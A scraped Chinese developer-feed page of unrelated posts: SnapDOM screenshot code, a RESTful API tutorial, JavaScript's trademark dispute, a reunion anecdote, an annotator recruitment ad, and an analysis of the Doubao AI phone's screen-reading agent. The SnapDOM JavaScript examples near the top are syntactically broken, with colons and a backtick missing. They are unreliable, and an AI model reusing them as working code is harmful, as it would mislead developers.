在 Safari 里用 WebP 格式时,会自动变成 PNG。


大型页面截图


截超大页面时,建议分块截,不然可能会内存溢出


六、SnapDOM 能干啥及代码示例


社交分享


async function shareAchievement() {
    const card = document.querySelector('.achievement-card');
    const image = await snapdom.toPng(card, { scale2 });
    navigator.share({
        files: [new File([await snapdom.toBlob(card)], 'achievement.png')],
        title'我获得了新成就!'
    });
}

报表导出


async function exportReport() {
    const reportSection = document.querySelector('.report-section');
    await preCache(reportSection);
    await snapdom.download(reportSection, {
        format'png',
        scale2,
        filename`report-${new Date().toISOString().split('T')[0]}`
    });
}

海报导出


async function generatePoster(productData) {
    document.querySelector('.poster-title').textContent = productData.name;
    document.querySelector('.poster-price').textContent = ${productData.price}`;
    document.querySelector('.poster-image').src = productData.image;
    await new Promise((resolve) => setTimeout(resolve, 100));
    const poster = document.querySelector('.poster-container');
    const blob = await snapdom.toBlob(poster, { scale3 });
    return blob;
}

写在最后


SnapDOM 就是这么一款简单、快速、准确,还零依赖的网页截图神器。


无论是社交分享、报表导出、设计保存,还是营销推广,它都能轻松搞定。


而且它是免费开源的,背后还有活跃的社区支持。要是你还在为网页截图的事儿发愁,赶紧试试 SnapDOM 吧。




要是你在用 SnapDOM 的过程中有啥疑问,或者碰上啥问题,可以去下面这些地方找答案:



作者:前端开发爱好者
来源:juejin.cn/post/7544287909475090451
收起阅读 »

什么是 RESTful API?凭什么能流行 20 多年?

你是小阿巴,刚入职的后端程序员,负责给前端的阿花提供 API 接口。结果一周后,你被阿花揍得鼻青脸肿。阿花:你是我这辈子见过接口写的最烂的程序员!你一脸委屈找到号称 “开发之狗” 的鱼皮诉苦:接口不是能跑就行吗?鱼皮嘲笑道:小阿巴,你必须得学学 RE...
继续阅读 »

你是小阿巴,刚入职的后端程序员,负责给前端的阿花提供 API 接口。

结果一周后,你被阿花揍得鼻青脸肿。

阿花:你是我这辈子见过接口写的最烂的程序员!

你一脸委屈找到号称 “开发之狗” 的鱼皮诉苦:接口不是能跑就行吗?

鱼皮嘲笑道:小阿巴,你必须得学学 RESTful API 了。

你挠挠头:阿巴阿巴,什么玩意,没听说过!

⭐️ 推荐观看视频版,动画更生动:bilibili.com/video/BV1WF…

什么是 RESTful API?

鱼皮:首先,REST 的全称是 REpresentational State Transfer,翻译过来叫 “表现层状态转移”。

你一脸懵:鱼皮 gie gie,能说人话吗?我是傻子,听不太懂。

鱼皮:别急,我给你拆开来讲,保证你理解。

RE(Representational) 表现层,是指 资源(Resource) 的表现形式。

你好奇了:什么是资源?

鱼皮:资源就是 你想要操作的数据对象

比如用户、商品、文章,这些都是资源。用户列表是一个资源,某个具体的用户也是一个资源。

表现层是指资源呈现出来的具体格式,比如同一个用户资源,可以用 JSON 格式返回给客户端,也可以用 XML 格式返回,这就是不同的 “表现形式”。

S(State) 是指 “状态”。

你:啥是状态?

鱼皮:比如你登录网站后,服务器会在内存中记住 “你是谁”,之后在网站上操作就不用再次登录了,这就是 有状态

而 无状态(Stateless) 呢,就是服务器不记录客户端的任何信息,每次请求都是独立的。

你:哦哦哦,就像一个人去餐厅吃饭,服务员不记得他上次点了什么,每次都要重新点单,这就是无状态。

反过来,服务员记得他爱吃鱼皮,这就是有状态。

鱼皮:没错,接下来是 T(Transfer) 转移。

要注意,转移是 双向 的:

1)当你用 GET 请求时,服务器把资源的状态(比如用户信息的 JSON 数据)转移给客户端。

2)当你用 POST/PUT 请求时,客户端把资源的新状态(比如新用户的信息)转移给服务器,从而改变服务器上资源的状态。

组合起来,REST(Representational State Transfer) 是一种 软件架构风格,让客户端和服务器通过统一的接口,以无状态的方式,互相传递资源的表现层数据(比如 JSON),来查询或者变更资源状态。

而 ful 是个后缀,就像 powerful(充满力量的)一样,表示 “充满...特性的”。

因此,RESTful API 是指符合 REST 架构风格的 API,也就是遵循 REST 原则设计出来的接口。

注意,它 不是协议、不是标准、不是强制规范,只是一种建议的设计风格。你可以遵循,也可以不遵循。

你挠了挠头:说了一大堆,RESTful API 到底长啥样啊?

鱼皮:举个例子,比如你要做个用户管理系统,对用户信息进行增删改查,用 RESTful 风格的 API 就长这样:

GET /users/123       获取 ID 为 123 的用户
POST /users         创建新用户
PUT /users/123       更新用户 123
DELETE /users/123   删除用户 123

你眼前一亮:哇,比我写的整齐多了!

快带我学一下 RESTful 的写法吧,我要让前端阿花刮目相看!

RESTful API 写法

鱼皮:好,很有志气!接下来我会带你一步步构造一个完整的 RESTful API。分为两部分,客户端发送请求 和 服务端给出响应

客户端请求

第一步:确定资源

资源用 URI(统一资源标识符)来表示。核心原则是:用名词来表示资源,不用动词

具体来说,推荐用名词复数表示资源集合,比如 /users 表示用户列表、/products 表示商品列表。

如果要操作 具体某个资源,就加上 ID,比如 /users/123 表示 ID 为 123 的用户。

资源还 支持嵌套,比如 /users/123/orders 表示用户 123 的所有订单。

你想了想:那还可以更深层级么?比如 /users/123/orders/456 表示用户 123 的订单 456。

鱼皮点点头:你的理解完全正确,但不建议嵌套层级太深。

第二步:选择动作

确定了资源后,接下来要选择 动作,也就是你想怎么处理这个资源。

RESTful API 主要通过不同的 HTTP 方法来表示增删改查操作:

1)GET:查询资源

  • GET /users 查询所有用户
  • GET /users/123 查询 ID 为 123 的用户

2)POST:创建资源

  • POST /users 创建新用户

3)PUT:完整更新资源,需要提供资源的所有字段,多次执行结果相同(幂等性)

  • PUT /users/123 完整更新用户 123

4)PATCH:部分更新资源,通常用于更精细的操作

  • PATCH /users/123 只更新用户 123 的某些字段

5)DELETE:删除资源

  • DELETE /users/123 删除用户 123

鱼皮:到这里,一个基本的 RESTful API 请求就构造完成了。

你:就这么简单?我不满足,还有更高级的写法吗?

鱼皮:当然~

第三步:添加查询条件(可选)

有时候我们需要更精确地筛选数据,这时候可以加查询参数,比如:

  • 分页:/users?page=2&limit=10 查询第 2 页,每页 10 条用户数据
  • 过滤:/users?gender=male&age=25 查询性别为男、年龄 25 的用户
  • 排序:/users?sort=created_at&order=desc 按创建时间倒序排列用户

你:等等,这查询参数跟 RESTful 有啥关系?正常的请求不都是这么写吗?

鱼皮:确实,查询参数本身不是 RESTful 特有的。但 RESTful 风格强调 把筛选、排序、分页这些操作,都通过 URL 参数来表达

而不是在请求体里传一堆复杂的 JSON 对象:

这样一来,URL 更清晰,而且浏览器、CDN、代理服务器都能直接根据 URL 来缓存响应结果。比如 /users?page=1 和 /users?page=2 是两个不同的 URL,可以分别缓存。但如果把参数放在请求体里,URL 都是 /users,缓存就没法区分了。

第四步:版本控制(可选)

随着业务发展,接口可能需要升级。为了不影响老用户,可以在 URI 中标明版本:

  • /v1/users 第一版用户接口
  • /v2/users 第二版用户接口

这样,老用户继续用 v1,新用户用 v2,互不影响。

第五步:保持无状态

此外,还记得我们前面讲 REST 里的 ST(State Transfer) 吗?

RESTful 的核心原则之一是 无状态(Stateless) ,客户端每次请求必须包含所有必要信息,服务器不记录客户端状态。

比如用户登录后,不是让服务器记住 “你已经登录了”,而是每次请求都要带上身份凭证(Token),像这样:

GET /orders
Header: Authorization: Bearer xxx

这么做的好处是,服务器不用记录谁登录了、谁没登录,每个请求都是独立的。这样一来,你想加多少台服务器都行,任何一台都能处理请求,轻松实现负载均衡和横向扩展。

你点头如捣蒜:怪不得我调用 AI 大模型 API 的时候,就要传这个 Token!

服务端响应

鱼皮:讲完客户端请求,再来看服务器收到请求后,该怎么响应?

主要注意 2 点:

1、统一响应格式

目前大多数 RESTful API 基本都用 JSON 格式,因为轻量、容易解析。

{
 "id"123,
 "name""小阿巴",
 "email""aba@codefather.cn"
}

但这并不是强制的,也可以用 XML、HTML 等格式。

2、返回合适的 HTTP 状态码

响应要带上合适的状态码,让客户端一眼看懂发生了什么。

HTTP 状态码有很多,大体可以分为 5 类:

  • 1xx 系列:信息提示(用得少,了解即可)
  • 2xx 系列:成功

    • 200 OK:请求成功,正常返回数据(用于 GET、PUT、PATCH)
  • 3xx 系列:重定向

    • 301 Moved Permanently:资源永久移动到新位置
    • 302 Found:资源临时移动
  • 4xx 系列:客户端错误

    • 400 Bad Request:请求参数格式错误
    • 401 Unauthorized:未验证身份,需要登录
    • 403 Forbidden:已认证但没有权限访问
    • 404 Not Found:资源不存在
    • 405 Method Not Allowed:请求方法不被允许
  • 5xx 系列:服务器错误

    • 500 Internal Server Error:服务器内部错误
    • 502 Bad Gateway:网关错误
    • 503 Service Unavailable:服务暂时不可用
    • 504 Gateway Timeout:网关超时

你恍然大悟:懂了,以后前端看到 500,就知道是我后端的锅;看到 400,就知道是她自己传参传错了。谁也别想甩锅!

鱼皮点点头:不错,以上这些,就是 RESTful API 的基本写法。你学会了吗?

你:学废了,学废了!

鱼皮:那我来考考你,下面哪个是标准的 RESTful API?

  • A. GET /getUsers
  • B. GET /user/list
  • C. POST /users/query
  • D. GET /users/delete/123

你开心地怪叫起来:阿巴,肯定是 C 啊!

鱼皮:错,4 个全都不标准

  • A 用了动词 getUsers
  • B 用了单数 user 和动词 list
  • C 用 POST 查询,还带了动词 query
  • D 用 GET 删除,还带了动词 delete

你掉了根头发:原来这么严格!

等等,你说 RESTful 不能用动词,但有些操作不是标准的增删改查啊,比如用户要支付订单,该怎么设计接口呢?是要用 POST /orders/123/pay

鱼皮摇头:你已经很努力了,但 pay 是动词。更标准的设计是把 “支付” 行为看作 创建 一个支付记录,用名词而不是动词。

POST /orders/123/payments

比如这个请求,表示为订单 123 创建一笔支付记录。

你又掉了根头发:妙啊,怪不得说英语对学编程有帮助呢,我悟了,我悟了!

RESTful 的六大约束

鱼皮:不错,学到这里你已经掌握了 RESTful 的 80%,能够实际应用了。接下来的知识,你只需简单了解一下,就能拿去和面试官吹牛皮了。

比如很多同学都不知道,RESTful 其实有 6 个约束条件:

  1. Client-Server(客户端-服务器分离):前后端各干各的活,前端负责展示,后端负责数据处理,互不干扰。
  2. Stateless(无状态):每次请求都是独立的,服务器不保存客户端的会话信息,所有必要信息都在请求中携带。
  3. Cacheable(可缓存):服务器的响应可以被标记为可缓存或不可缓存,客户端可以重用缓存数据,减少服务器压力,提升性能。
  4. Layered System(分层系统):客户端不需要知道直接连的是服务器还是中间层,系统可以灵活地加代理、网关、负载均衡器等。
  5. Uniform Interface(统一接口):所有资源都通过统一的接口访问,降低理解成本,提高可维护性。
  6. Code-On-Demand(按需代码):可选项,服务器可以返回可执行代码(比如 JavaScript)给客户端执行,但实际工作中很少用。

你直接听懵了:阿巴阿巴,这么多约束,我必须全遵守吗?

鱼皮:可以不用,RESTful 只是一种 API 的 建议风格。在实际工作中,很少有 API 能完美符合所有约束,大家可以灵活调整,甚至什么接口都用 POST + 动词 一把梭。只要团队达成一致、用得舒服就行。

就像刚才那个支付订单的例子,POST /orders/123/payments 虽然符合 RESTful 规范,但有同学会觉得 POST /orders/123/pay 更直观易懂,也没问题。

不过现阶段,我建议你先养成遵循 RESTful 的好习惯,等积累了经验,再根据实际情况灵活调整。

怎么快速实现 RESTful API?

你:呜呜,但我只是个小阿巴,背不下来这些写法,我怕自己写着写着就不规范了,怎么办啊?

鱼皮:别担心,有很多方法可以帮你快速实现和检查 RESTful API。

1、使用开发框架

几乎所有主流开发框架都支持 RESTful API 的开发,它们能帮你自动处理很多细节,比如:

  • Java 的 Spring Boot:通过 @GetMapping("/users")@PostMapping("/users") 等注解,你只需要写一行代码就能定义符合 RESTful 风格的路由。框架会自动把对象转成 JSON、设置正确的 HTTP 状态码,你都不用操心。
  • Python 的 Django REST Framework:你只需要定义一个数据模型(比如 User 类),框架就能自动生成 GET /usersPOST /usersPUT /users/123DELETE /users/123 这一整套 RESTful 接口,大幅减少代码量。
  • Go 的 Gin :专门为 RESTful API 设计,语法非常简洁。比如 router.GET("/users/:id", getUser) 就能绑定一个 GET 请求,自动从 URL 中提取 ID 参数,还能通过路由分组把 /api/v1/users 和 /api/v2/users 轻松分开管理。

这些框架虽然不强制你遵循 RESTful,但用它们的特性,开发起来既轻松又规范,帮你省掉大量重复代码。

2、使用 IDE 插件

比如 IDEA 的 RESTful Toolkit 插件,可以快速查看和测试接口。

还有 VSCode 的 REST Client 插件,可以直接在编辑器里测试接口。

3、利用 AI 生成

RESTful 有明确的设计规范,而 AI 最擅长处理这种有章可循的东西!

比如直接让 Cursor 帮你用 Spring Boot 写一个用户管理的 RESTful API:

你只需要阿巴阿巴几下,它就能生成规范的代码。

4、生成接口文档

写完接口后,还可以用 Swagger 这类工具自动生成漂亮的接口文档,直接甩给前端,对方一看就懂,还能在线测试接口,省去大量沟通成本。

你笑得像个孩子:这么一看,RESTful API 不仅让接口规范统一,还能提高开发效率,降低团队沟通成本,前后端都舒服!爽爽爽!

鱼皮点点头:没错,这也是为什么 RESTful 能成为业界主流的原因。

你:学会了学会了,我这就去重构所有接口,让前端阿花刮目相看!

结尾

一周后,你把所有接口重构成了 RESTful 风格。

前端阿花打开新的接口文档,眼睛亮了:小阿巴,你居然开窍了?!

你得意地笑了:那是,我可是学过 RESTful 的男人~ 阿花,晚上要不要一起?

阿花朝你吐了口唾沫:呸,你只不过学了一种 API 风格就得意洋洋。阿坤哥哥不仅精通 RESTful,还能手撕 GraphQL 和 gRPC 呢,你行么?

你难受得不行:啥啥啥,这都是啥啊…… 鱼皮 gie gie 快来救我!


作者:程序员鱼皮
来源:juejin.cn/post/7587811143110574131
收起阅读 »

JavaScript 今天30 岁了,但连自己的名字都不属于自己

12 月 4 号,JavaScript 迎来 30 岁生日。 一门 10 天赶出来的语言,现在跑在 98.9% 的网站上,有 1650 万开发者在用它。从浏览器脚本到服务端运行时,从桌面应用到移动端,甚至嵌入式设备都有它的身影。TIOBE 2024 年度编程语...
继续阅读 »

image.png


12 月 4 号,JavaScript 迎来 30 岁生日。


一门 10 天赶出来的语言,现在跑在 98.9% 的网站上,有 1650 万开发者在用它。从浏览器脚本到服务端运行时,从桌面应用到移动端,甚至嵌入式设备都有它的身影。TIOBE 2024 年度编程语言排行榜上,JavaScript 排第 6。


但 30 周年这天,社区没怎么庆祝。大家更关心的是另一件事:JavaScript 这个名字,到底能不能从 Oracle 手里抢回来。




10 天写出来的语言


1995 年 5 月,Netscape 的工程师 Brendan Eich 接到一个任务:给浏览器加一门脚本语言。


时间表很紧——Navigator 2.0 Beta 版要发布了,必须赶上。


Eich 花了 10 天(据他回忆是 5 月 6 日到 15 日),搞出了第一个原型。这不是夸张,是真的 10 天。


他后来自己说:



当你看我 10 天写的东西,它像一颗种子。是一种有力的妥协,但仍然是一个非常强大的内核,后来长成了一门更大的语言。



这门语言最开始叫 Mocha,后来改叫 LiveScript,最后因为市场原因蹭了 Java 的热度,改名 JavaScript。


1995 年 12 月 4 日,Netscape 和 Sun 联合发布公告,宣布 JavaScript 正式诞生。28 家公司为这门新语言背书,包括 America Online、Apple、AT&T、Borland、HP、Oracle、Macromedia、Intuit、Toshiba 等科技巨头。


有意思的是,Oracle 当时是 JavaScript 的支持者之一,新闻稿的媒体联系人里还有 Mark Benioff(后来创办了 Salesforce)。没想到 30 年后,Oracle 成了社区想要摆脱的"商标持有者"。


Sun 联合创始人 Bill Joy 说:



JavaScript 是 Java 平台的完美补充,天生就是为互联网和全球化设计的。



America Online 技术总裁 Mike Connors:



JavaScript 带来了跨平台的快速多媒体应用开发能力。



HP 的 Jan Silverman:



JavaScript 代表了专门为互联网设计的下一代软件。



Netscape 和 Sun 还计划把 JavaScript 提交给 W3C 和 IETF 作为开放标准。后来 JavaScript 确实标准化了,但官方名字叫 ECMAScript——因为商标问题。


1996 年 3 月发布 1.0 版本后,JavaScript 的野心远不止当初设想的"胶水语言"。




从玩具到基础设施


当年 JavaScript 的定位是"胶水语言",让不会编程的人也能在网页上加点交互。


没人想到它会变成今天这样。


几个关键节点:


2009 年 - Node.js 诞生


Ryan Dahl 把 V8 引擎搬到服务端,JavaScript 不再只是浏览器里的玩具。前后端同构成为可能。


2015 年 - ES6 发布


let/const 替代 var,箭头函数,Promise,Class 语法... JavaScript 终于像个正经语言了。


2012 年 - TypeScript 发布


微软给 JavaScript 加了类型系统。2017 年只有 12% 的 JavaScript 开发者用 TypeScript,到 2024 年这个数字涨到了 35%。现在大型项目几乎都是 TypeScript。


框架时代


React、Vue、Angular 轮番登场。整个前端生态围绕 JavaScript 建立起来。现在有人的整个职业生涯都建立在某个特定的 JS 框架上。


嵌入式领域


JavaScript 甚至跑到了微控制器上。Espruino 项目让你可以在 24.95 美元的小板子上写 JavaScript,功耗低到 0.06mA,还能跑蓝牙。有个智能手表 Bangle.js 2,一块电池能用 4 周,上面跑的就是 JavaScript。




名字的问题


JavaScript 这个名字,商标属于 Oracle。


Oracle 2009 年收购 Sun 的时候一起拿到的。但 Oracle 自己根本不做 JavaScript 相关的产品,商标就这么放着。


问题来了:因为商标在 Oracle 手里,社区做事很尴尬。



  • 不能叫 JavaScript Conference,只能叫 JSConf

  • 官方规范叫 ECMAScript,不叫 JavaScript

  • 写书、办会议、做项目,用 JavaScript 这个词都有法律风险


Brendan Eich 2006 年写过:"ECMAScript 一直是个没人想要的商业名称,听起来像皮肤病。"


讽刺的是,Oracle 甚至不是 OpenJS Foundation 的成员,跟 Node.js 的开发也没有任何关系。


Node.js 和 Deno 的创始人 Ryan Dahl 看不下去了。2024 年 9 月他发起了 "Free the Mark" 运动,发布了一封公开信,28,600 多名开发者签名支持。


image.png
签名的人里有几个重量级的:



  • Brendan Eich - JavaScript 创造者本人

  • Ryan Dahl - Node.js 创造者

  • Michael Ficarra、Shu-yu Guo - JavaScript 规范编辑

  • Rich Harris - Svelte 作者

  • Isaac Z. Schlueter - npm 创始人

  • James M Snell - Node.js TSC 成员

  • Jordan Harband - JavaScript 规范荣誉编辑

  • Matt Pocock - Total TypeScript 课程作者

  • Wes Bos、Scott Tolinski - Syntax.fm 播客主持人


11 月正式向美国专利商标局提交申请,要求撤销 Oracle 的商标。


理由有三:



  1. 通用化 - JavaScript 已经变成通用名词了,就像 aspirin(阿司匹林)一样

  2. 弃用 - Oracle 三年多没用这个商标做任何商业用途

  3. 欺诈 - Oracle 2019 年续期商标时,提交的使用证据是 Node.js 的截图。Node.js 跟 Oracle 没有半毛钱关系


公开信里说得很直白:



Oracle 从来没有认真推出过叫 JavaScript 的产品。GraalVM 的产品页面甚至都没提"JavaScript"这个词,得翻文档才能找到它支持 JavaScript。



公开信还指出,Oracle 2019 年续期商标时提交的"使用证据"是 nodejs.org 的截图和 Oracle JET 库。Node.js 根本不是 Oracle 的产品,JET 只是 Oracle Cloud 服务的一个 JavaScript 库,跟市面上成千上万的 JS 库没什么区别。


按美国法律,商标 3 年不用就算放弃。Oracle 既没用这个商标,又眼睁睁看着它变成通用名词,两条都占了。


image.png


2025 年 2 月,Oracle 申请驳回诉讼中的欺诈指控。6 月,商标审判和上诉委员会驳回了欺诈指控,但撤销申请继续审理。8 月,Oracle 首次正式回应,否认 JavaScript 是通用名词。


官司预计要打到 2026 年。


Deno 团队正在众筹 20 万美元的法律费用,用于发现阶段的调查取证,包括做公众调查来证明普通人不会把 JavaScript 和 Oracle 联系在一起。




30 年后的 JavaScript


现在的 JavaScript 和 1995 年的已经是两门语言了。


当年的 varlet/const 取代。当年的原型继承有了 Class 语法糖。当年的回调地狱有了 Promise 和 async/await。


ES2025 刚发布,又加了一堆新特性。


工具链也完全不同了:



  • 打包器从 webpack 到 Vite,Vite 8 刚用上 Rolldown,速度又快了一大截

  • 运行时从只有浏览器,到 Node.js、Deno、Bun 三足鼎立

  • TypeScript 成了事实上的标准

  • 1650 万开发者,比很多国家的人口都多


Brendan Eich 当年 10 天写的种子,长成了一片森林。




顺手推几个项目


既然聊到 JavaScript 生态,推一下我做的几个开源项目:


chat_edit - 一个双模式 AI 应用,聊天 + 富文本编辑。Vue 3.5 + TypeScript + Vite 8 技术栈,可以自己配 API key 部署。


code-review-skill - Claude Code 的代码审查技能,覆盖 React、Vue、TypeScript 等主流技术栈,按需加载不浪费 token。


5-whys-skill - 根因分析技能,排查问题的时候用"5 个为什么"方法论。


first-principles-skill - 第一性原理思考技能,适合架构设计和技术方案选型。帮你拆解问题本质。


感兴趣可以去 GitHub 看看。




相关链接



作者:也无风雨也雾晴
来源:juejin.cn/post/7580251192331386926
收起阅读 »

离开舒适区100天,我后悔了吗?

各位朋友好,我是优弧。今天想用一种轻松的方式,记录一个小小的里程碑:我来到新部门,已经满100天了。 如果把职场比作一段旅程,这100天像是从一条熟悉的主路,转入了一条全新的小径。风景不同,路况也迥异。过去,我更多是在既定方向里把事情做深做透;如今,则像是在一...
继续阅读 »

各位朋友好,我是优弧。今天想用一种轻松的方式,记录一个小小的里程碑:我来到新部门,已经满100天了。


如果把职场比作一段旅程,这100天像是从一条熟悉的主路,转入了一条全新的小径。风景不同,路况也迥异。过去,我更多是在既定方向里把事情做深做透;如今,则像是在一片新的地基上,一砖一瓦地搭建起"规则、方法与节奏"。


我现在所在的团队,从事的是数据标注与评测相关工作。很多人一听"标注",第一反应是"是不是就是打标签?"——我最初也是这么想的。但真正深入之后才发现:它更像是把人类的判断,转化为一套清晰、一致、可复用的"语言"。这些语言会凝结成数据,数据会塑造模型,模型再反过来影响产品体验。它不张扬,却至关重要。




这100天,我主要做了三件事


第一件:把模糊变清晰。


新方向里,最常见的困难不是"做不出来",而是"大家以为理解一致,其实各有各的理解"。所以我花了大量时间做"对齐"——把需求写清楚,把边界讲明白,把容易产生歧义的地方用具体案例固定下来。


这件事看似不起眼,却能让后来的人少走许多弯路。


第二件:把事情做得更稳。


在这里,"做完"不是终点,"能稳定交付"才是。


我参与梳理流程、完善检查机制,也会和一线同事一起复盘:哪里最容易出错?是规则没讲清楚,还是样例不够充分,还是工具设计让人产生误解?


我们在努力把"靠经验"变成"靠机制",把"凭感觉"变成"有共识"。


第三件:把经验沉淀下来。


我越来越相信一个朴素的道理:团队的效率,很大程度上取决于能否把经验写下来、传下去、复用起来。


所以这段时间,我持续在做文档化、样例库整理、常见问题汇总,让新人上手更快,老同事协作更顺。




这100天,我最大的收获


说实话,新方向并不轻松。它不像冲刺型项目那样"立竿见影",更多是"润物无声"。但也正因如此,它让我学会了另一种能力:耐心地把一件事做成体系。


我也更深刻地体会到——所谓成长,不一定是站到更高的位置,有时候是换一个角度看世界:从追求结果,到构建方法;从解决一个问题,到消除一类问题。




几点真实的小感悟



  • 很多分歧不是谁对谁错,只是大家站在不同位置,看同一件事。

  • 把规则写清楚,比想象中更难;写清楚之后,比想象中更有价值。

  • 让事情"稳定",往往比让事情"快速"更考验功力。




写在最后


100天当然不算长,但足以让我确认:我已经在一个新的方向上重新出发了。离开不是告别,更像是把自己推入一个更陌生的场景,再学一次"如何把事情做好"。


最后,用一句我很喜欢的话收尾(我一直拿它提醒自己):



"这个世界上没有什么生活方式是完全正确的,神山圣湖并不是终点。接受平凡的自我,但不放弃理想和信仰,热爱生活。我们都在路上,也许路的尽头是什么,从来都不重要。"



感谢这一路遇到的每一个人。也希望下一个100天,我能继续保持好奇、保持笃定,把这条路走得更深、更稳。




顺便打个小广告


既然聊到了数据标注,也借这个机会说一声:我们的标注平台即将上线,现在开始招募标注员啦!


如果你是计算机相关专业背景,对代码有热情,想用专业能力做点有价值的事(顺便赚点外快),欢迎了解一下:


我们在找这样的你:



  • 研发工程师,能独立理解并修改开源或企业级代码,熟悉单测与验证流程

  • 3年以上开发经验,熟悉 Git、单元测试、模块化架构,能阅读、理解、调试中大型项目

  • 掌握主流开发语言(Python / Java / JS / TS / Rust / C / C++)

  • 具备问题抽象、代码重构与性能优化经验,能从开发者视角构造高质量问题与解决方案


工作方式:



  • 线上灵活办公,时间自由安排

  • 每周投入 20小时以上 即可


薪酬待遇:



  • 时薪 50~100元,具体以项目最终定价为准


当然,如果你是本科及以上学历、有计算机相关背景的同学,也非常欢迎报名——我们同样期待新鲜血液的加入!


感兴趣的朋友可以私信我,或者留言咨询。期待与你在标注的世界里相遇。


1_1067699600_171_85_3_1067549210_6ec3197faa53f1febc00f936e9787654.png


作者:优弧
来源:juejin.cn/post/7582021506190327854
收起阅读 »

同学聚会,是我不配?

前言 初八就回城搬砖了,有位老哥跟我吐槽了他过年期间参与同学会的事,整理如下,看读者们是否也有相似的境遇。 缘起 高中毕业至今已有十五年了,虽然有班级群但鲜有人发言,一有人冒泡就会立马潜水围观。年前有位同学发了条消息:高中毕业15年了,趁过年时间,咱们大伙...
继续阅读 »

前言


初八就回城搬砖了,有位老哥跟我吐槽了他过年期间参与同学会的事,整理如下,看读者们是否也有相似的境遇。



image.png


缘起


高中毕业至今已有十五年了,虽然有班级群但鲜有人发言,一有人冒泡就会立马潜水围观。年前有位同学发了条消息:高中毕业15年了,趁过年时间,咱们大伙聚一聚?


我还是一如既往地只围观不发言,组织的同学看大家都三缄其口,随后发了一个红包并刷了几个表情。果然还是万恶的金钱有新引力,领了红包的同学也刷了不少谢谢老板的表情,于是乎大家都逐渐放开了,最终发起了接龙。


看到已接龙的几位同学在高中时还是和自己打过一些交道,再加上时间选的是大年初五,我刚好有空闲的时间,总归还是想怀旧,于是也接了龙。


牢笼


我们相约在县城的烧烤一条街某店会面,那离我们高中母校不远,以前偶尔经过但苦于囊中羞涩没有大快朵颐过。


到了烧烤店时发现人声鼎沸,猜拳、大笑声此起彼伏,我循着服务员的指示进入了包间。放眼望去已有四、五位同学在座位上,奇怪的是此时包间却是很安静,大家都在低头把玩着手机。


当我推门的那一刻,同学们都抬头放眼望来,迅速进行了一下眼神交流,微笑地打了招呼就落座。与左右座的同学寒暄了几句,进行一些不痛不痒的你问我答,而后就沉默,气氛落针可闻,那时我是多希望有服务员进来问:帅哥,要点单了吗?


还好最后一位同学也急匆匆赶到了,后续交流基本上明白了在场同学的工作性质。

张同学:组织者,在A小镇上开了超市、圆通、中通提货点,座驾卡迪拉克

李同学:一线城市小创业者,公司不到10人,座驾特斯拉

吴同学:县城第一中学老师、班主任,座驾大众

毛同学:县委办某科室职员、公务员,座驾比亚迪

王同学:某小镇纪委书记,座驾别克

潘同学:县住房和城乡建设局职员,事业编,座驾哈佛

我:二线城市码农一枚,座驾雅迪


一开始大家都在忆往昔,诉说过去的一些快乐的事、糗事、甚至秘辛,感觉自己的青葱时光就在眼前重现。
酒过三巡,气氛逐渐热烈,称呼也开始越拔越高,某书记、某局、某老板,主任、某老总的商业互吹。

期间大家的话题逐渐往县城的实事、新闻、八卦上靠,某某人被双了,某某同事动用了某层的关系调到了市里,某漂亮的女强人离婚了。


不巧的是张同学还需要拜会另一位老板,提前离席,李同学公司有事需要处理,离开一会。

只剩我和其他四位体制内的同学,他们在聊体制内的事,我不熟悉插不进话题,我聊公司的话题估计他们不懂、也不感兴趣。

更绝的是,毛同学接到了一个电话,而后提着酒杯拉着其他同学一起去隔壁的包间敬酒去了,只剩我一个人在包间里。

过了几分钟他们都提着空酒杯回来了,悄悄询问了吴同学才知道隔壁是县委办公室主任。

回来后,他们继续畅聊着县城的大小事。


烧烤结束之后,有同学提议去唱K,虽然我晚上没安排,但想到已经没多少可聊的就婉拒了。


释怀


沿着县城的母亲河散步,看着岸边新年的装饰,我陷入了沉思。

十多年前大家在同一间教室求学,甚至同一宿舍生活,十多年后大家的选择的生活方式千差万别,各自的境遇也大不相同。

再次相遇,共同的话题也只是学生时代,可是学生时代的事是陈旧的、不变的,而当下的事才是新鲜的、变化的。因此聚会里更多的是聊现在的事,如果不在一个圈子里,是聊不到一块的。


其实小城里,公务员是一个很好的选择,一是稳定,二是有面子(可能本身没多大权利,但是可以交易,可以传递)。小城里今天发生的事,明天就可能人尽皆知了,没有秘密可言。

有志于公务员岗位的朋友提早做准备,别等过了年纪就和体制内绝缘了。


其他人始终是过客,关注自己,取悦自己。



image.png


作者:小鱼人爱编程
来源:juejin.cn/post/7468614661326159881
收起阅读 »

豆包手机为什么会被其他厂商抵制?它的工作原理是什么?

之所以会想写这个,首先是因为在知乎收到了这个推荐的问题,实际上不管是 AutoGLM 还是豆包 AI 手机,会在这个阶段被第三方厂商抵制并不奇怪,比如微信和淘宝一直以来都很抵制这种外部自动化操作,而非这次中兴的 AI 豆包手机出来才抵制,毕竟以前搞过微信自动化...
继续阅读 »

之所以会想写这个,首先是因为在知乎收到了这个推荐的问题,实际上不管是 AutoGLM 还是豆包 AI 手机,会在这个阶段被第三方厂商抵制并不奇怪,比如微信和淘宝一直以来都很抵制这种外部自动化操作,而非这次中兴的 AI 豆包手机出来才抵制,毕竟以前搞过微信自动化客服应该都知道,一不小心就会被封号。


image-20251212081056229


另外也是刚好看到, B 站的 UP 主老戴深入分析了豆包手机的内部工作机制的视频,视频介绍了从 AI 助手如何读取屏幕、捕捉数据和模拟操作的真实流程,所以对于 AI 手机又有了个更深刻的认知,在这个基础上,更不难理解为什么 AI 手机这种自动化 Agent 会被第三方厂商抵制,推荐大家看原视频:b23.tv/pftlDX8



那么豆包的 AI 手机是怎么工作的呢?实际上和大家想的可能不一样,它并没有使用无障碍服务(Accessibility Service),而是使用了更底层的实现方案



豆包手机利用底层的系统权限,直接从 GPU 缓冲区获取原始图像数据并注入输入事件,而非依赖截屏或无障碍服务,此外手机还在一个独立的虚拟屏幕中执行后台任务,并将图像低频发送至云端进行推理,云端则返回操作指令。



在视频里, UP 主通过深度拆解豆包手机,分析手机在系统层面的服务分工、数据抓取和模型推理路径,例如aikernel被 UP 主推断为手机端侧 AI 的核心进程,内存占用特性(Native堆高达160M)表明它可能是一个本地AI推理框架:




另外 aikernel 异常高的Binder数量,证明有大量外部进程通过 RPC 调用它,进一步印证了其系统级服务的角色 。



autoaction是豆包手机 AI 自动操作的关键,这个 APK 权限允许直接从 GPU 渲染的图形缓冲区读取数据,而不是通过上层截图:



